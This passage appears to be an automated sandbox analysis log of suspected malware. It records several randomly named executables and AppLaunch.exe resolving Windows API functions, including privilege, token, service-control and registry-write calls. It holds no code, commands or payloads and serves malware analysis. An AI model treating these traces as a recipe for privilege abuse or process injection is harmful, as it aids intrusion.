"Yf6UX21.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00000840) "Yf6UX21.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00000840) "NS0zj81.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007408) "NS0zj81.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007408) "NH5Ot82.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00002592) "NH5Ot82.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00002592) "1oh97OL0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006488) "1oh97OL0.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00006488) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter StartService (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandleW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfig (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004328) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004328) "2NJ9351.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006492) 